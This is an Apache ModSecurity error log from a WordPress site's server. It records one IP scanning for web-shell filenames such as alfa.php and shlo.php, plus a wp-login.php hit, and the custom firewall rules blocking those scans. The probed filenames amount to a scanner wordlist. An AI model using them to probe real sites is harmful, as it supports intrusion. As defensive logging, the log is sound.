[Sat Dec 27 04:45:51.246903 2025] [:error] [pid 32192:tid 32227] [client 4.189.160.210:40570] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aU7z_y_q0VFe066lbk-ulQAAAEQ"]
[Sat Dec 27 04:45:53.683270 2025] [:error] [pid 32278:tid 32302] [client 4.189.160.210:26348] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aU70AX-IfCN2Cy9GcchqUwAAANY"]
[Sat Dec 27 04:45:54.808604 2025] [:error] [pid 32278:tid 32284] [client 4.189.160.210:48699] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aU70An-IfCN2Cy9GcchqYQAAAMQ"]
[Sat Dec 27 04:45:56.185078 2025] [:error] [pid 32278:tid 32302] [client 4.189.160.210:28168] [client 4.189.160.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aU70BH-IfCN2Cy9GcchqZgAAANY"]
[Sat Dec 27 04:45:57.016674 2025] [:error] [pid 32278:tid 32291] [client 4.189.160.210:20483] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aU70BX-IfCN2Cy9GcchqaQAAAMs"]
[Sat Dec 27 04:45:58.451103 2025] [:error] [pid 32192:tid 32234] [client 4.189.160.210:32984] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aU70Bi_q0VFe066lbk-umgAAAEs"]
[Sat Dec 27 04:45:59.981618 2025] [:error] [pid 32278:tid 32299] [client 4.189.160.210:32975] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aU70B3-IfCN2Cy9GcchqbgAAANM"]
[Sat Dec 27 04:46:00.892118 2025] [:error] [pid 32192:tid 32236] [client 4.189.160.210:32988] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aU70CC_q0VFe066lbk-unQAAAE0"]
[Sat Dec 27 04:46:02.330056 2025] [:error] [pid 32193:tid 32264] [client 4.189.160.210:29758] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aU70Chgw0eCOc2qYqaIDtgAAAI4"]
[Sat Dec 27 04:46:03.239966 2025] [:error] [pid 32191:tid 32199] [client 4.189.160.210:21455] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aU70C7PNtMgrjVCHIdFv5wAAAAQ"]
[Sat Dec 27 04:46:04.134686 2025] [:error] [pid 32278:tid 32291] [client 4.189.160.210:28188] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aU70DH-IfCN2Cy9GcchqcgAAAMs"]
[Sat Dec 27 04:46:06.270995 2025] [:error] [pid 32191:tid 32200] [client 4.189.160.210:28173] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aU70DrPNtMgrjVCHIdFv6AAAAAU"]
[Sat Dec 27 04:46:07.239119 2025] [:error] [pid 32278:tid 32285] [client 4.189.160.210:21454] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aU70D3-IfCN2Cy9GcchqeAAAAMU"]
[Sat Dec 27 04:46:08.786360 2025] [:error] [pid 32193:tid 32272] [client 4.189.160.210:48674] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aU70EBgw0eCOc2qYqaIDugAAAJY"]
[Sat Dec 27 04:46:10.979279 2025] [:error] [pid 32192:tid 32225] [client 4.189.160.210:48692] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aU70Ei_q0VFe066lbk-unwAAAEI"]
[Sat Dec 27 04:46:12.617225 2025] [:error] [pid 32193:tid 32265] [client 4.189.160.210:22091] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU70FBgw0eCOc2qYqaIDvwAAAI8"]
[Sat Dec 27 04:46:13.277134 2025] [:error] [pid 32193:tid 32253] [client 4.189.160.210:3460] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU70FRgw0eCOc2qYqaIDwQAAAIM"]
[Sat Dec 27 04:46:15.430219 2025] [:error] [pid 32193:tid 32264] [client 4.189.160.210:3679] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU70Fxgw0eCOc2qYqaIDxAAAAI4"]
[Sat Dec 27 04:46:17.550486 2025] [:error] [pid 32278:tid 32304] [client 4.189.160.210:3655] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU70GX-IfCN2Cy9GcchqhwAAANg"]
[Sat Dec 27 04:46:19.254123 2025] [:error] [pid 32191:tid 32208] [client 4.189.160.210:30998] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kwm4.php"] [unique_id "aU70G7PNtMgrjVCHIdFv8gAAAA0"]
[Sat Dec 27 04:46:59.436546 2025] [:error] [pid 32192:tid 32246] [client 4.189.160.210:22121] [client 4.189.160.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.189.160.210, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU70Qy_q0VFe066lbk-uygAAAFc"]
[Sat Dec 27 04:47:11.989444 2025] [:error] [pid 32191:tid 32197] [client 4.189.160.210:22134] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aU70T7PNtMgrjVCHIdFwFQAAAAI"]
[Sat Dec 27 04:47:12.476460 2025] [:error] [pid 32278:tid 32287] [client 4.189.160.210:20057] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aU70UH-IfCN2Cy9Gcchq1wAAAMc"]
[Sat Dec 27 04:47:12.996673 2025] [:error] [pid 32278:tid 32301] [client 4.189.160.210:20095] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aU70UH-IfCN2Cy9Gcchq2AAAANU"]
[Sat Dec 27 04:47:15.381837 2025] [:error] [pid 32278:tid 32296] [client 4.189.160.210:4024] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aU70U3-IfCN2Cy9Gcchq3AAAANA"]
[Sat Dec 27 04:47:23.890089 2025] [:error] [pid 32193:tid 32271] [client 4.189.160.210:20990] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aU70Wxgw0eCOc2qYqaIEAAAAAJU"]
[Sat Dec 27 04:47:25.257090 2025] [:error] [pid 32193:tid 32257] [client 4.189.160.210:22423] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aU70XRgw0eCOc2qYqaIEAwAAAIc"]
[Sat Dec 27 04:47:26.881373 2025] [:error] [pid 32193:tid 32267] [client 4.189.160.210:20930] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aU70Xhgw0eCOc2qYqaIEBwAAAJE"]
[Sat Dec 27 04:47:28.722308 2025] [:error] [pid 32193:tid 32265] [client 4.189.160.210:22404] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aU70YBgw0eCOc2qYqaIECAAAAI8"]
[Sat Dec 27 04:47:29.121562 2025] [:error] [pid 32193:tid 32254] [client 4.189.160.210:26886] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU70YRgw0eCOc2qYqaIECgAAAIQ"]
[Sat Dec 27 04:47:30.415962 2025] [:error] [pid 32192:tid 32239] [client 4.189.160.210:19283] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU70Yi_q0VFe066lbk-u2AAAAFA"]
[Sat Dec 27 04:47:32.058260 2025] [:error] [pid 32192:tid 32243] [client 4.189.160.210:22453] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU70ZC_q0VFe066lbk-u3QAAAFQ"]
[Sat Dec 27 04:47:37.231923 2025] [:error] [pid 32192:tid 32235] [client 4.189.160.210:19293] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU70aS_q0VFe066lbk-u7wAAAEw"]
[Sat Dec 27 04:47:38.690349 2025] [:error] [pid 32191:tid 32214] [client 4.189.160.210:48549] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aU70arPNtMgrjVCHIdFwLwAAABM"]
[Sat Dec 27 04:47:41.112183 2025] [:error] [pid 32193:tid 32265] [client 4.189.160.210:48512] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aU70bRgw0eCOc2qYqaIEFQAAAI8"]
[Sat Dec 27 04:47:41.858599 2025] [:error] [pid 32193:tid 32262] [client 4.189.160.210:26904] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aU70bRgw0eCOc2qYqaIEFwAAAIw"]
[Sat Dec 27 04:47:42.240736 2025] [:error] [pid 32278:tid 32292] [client 4.189.160.210:33750] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aU70bn-IfCN2Cy9Gcchq8AAAAMw"]
[Sat Dec 27 04:47:43.024690 2025] [:error] [pid 32193:tid 32260] [client 4.189.160.210:19266] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aU70bxgw0eCOc2qYqaIEGQAAAIo"]
[Sat Dec 27 04:47:45.232620 2025] [:error] [pid 32278:tid 32294] [client 4.189.160.210:30263] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aU70cX-IfCN2Cy9Gcchq9AAAAM4"]
[Sat Dec 27 04:47:46.601494 2025] [:error] [pid 32191:tid 32211] [client 4.189.160.210:48567] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aU70crPNtMgrjVCHIdFwOwAAABA"]
[Sat Dec 27 04:47:48.336807 2025] [:error] [pid 32193:tid 32267] [client 4.189.160.210:37544] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aU70dBgw0eCOc2qYqaIEIQAAAJE"]
[Sat Dec 27 04:47:50.807386 2025] [:error] [pid 32278:tid 32287] [client 4.189.160.210:19316] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aU70dn-IfCN2Cy9Gcchq-gAAAMc"]
[Sat Dec 27 04:47:53.547430 2025] [:error] [pid 32278:tid 32288] [client 4.189.160.210:3362] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aU70eX-IfCN2Cy9GcchrCAAAAMg"]
[Sat Dec 27 04:47:54.342929 2025] [:error] [pid 32278:tid 32294] [client 4.189.160.210:33744] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aU70en-IfCN2Cy9GcchrFgAAAM4"]
[Sat Dec 27 04:47:55.444779 2025] [:error] [pid 32192:tid 32231] [client 4.189.160.210:40484] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/natural.php"] [unique_id "aU70ey_q0VFe066lbk-u8wAAAEg"]
[Sat Dec 27 04:47:56.866773 2025] [:error] [pid 32193:tid 32258] [client 4.189.160.210:23039] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU70fBgw0eCOc2qYqaIELgAAAIg"]
[Sat Dec 27 04:48:01.371634 2025] [:error] [pid 32278:tid 32293] [client 4.189.160.210:19297] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU70gX-IfCN2Cy9GcchrIgAAAM0"]
[Sat Dec 27 04:48:02.751896 2025] [:error] [pid 32278:tid 32285] [client 4.189.160.210:44062] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU70gn-IfCN2Cy9GcchrJQAAAMU"]
[Sat Dec 27 04:48:08.239773 2025] [:error] [pid 32278:tid 32285] [client 4.189.160.210:48878] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU70iH-IfCN2Cy9GcchrOgAAAMU"]
[Sat Dec 27 04:48:53.424702 2025] [:error] [pid 32193:tid 32260] [client 4.189.160.210:18616] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aU70tRgw0eCOc2qYqaIElwAAAIo"]
[Sat Dec 27 04:48:55.063403 2025] [:error] [pid 32278:tid 32291] [client 4.189.160.210:49130] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aU70t3-IfCN2Cy9GcchrpQAAAMs"]
[Sat Dec 27 04:48:56.953004 2025] [:error] [pid 32191:tid 32205] [client 4.189.160.210:48722] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aU70uLPNtMgrjVCHIdFwoQAAAAo"]
[Sat Dec 27 04:48:59.719022 2025] [:error] [pid 32278:tid 32293] [client 4.189.160.210:3118] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aU70u3-IfCN2Cy9GcchrtAAAAM0"]
[Sat Dec 27 04:49:01.482511 2025] [:error] [pid 32191:tid 32200] [client 4.189.160.210:48739] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU70vbPNtMgrjVCHIdFwpAAAAAU"]
[Sat Dec 27 04:49:02.047824 2025] [:error] [pid 32193:tid 32265] [client 4.189.160.210:27385] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU70vhgw0eCOc2qYqaIEpgAAAI8"]
[Sat Dec 27 04:49:04.008760 2025] [:error] [pid 32278:tid 32295] [client 4.189.160.210:27340] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU70wH-IfCN2Cy9GcchrywAAAM8"]
[Sat Dec 27 04:49:05.694048 2025] [:error] [pid 32278:tid 32288] [client 4.189.160.210:48249] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aU70wX-IfCN2Cy9Gcchr0QAAAMg"]
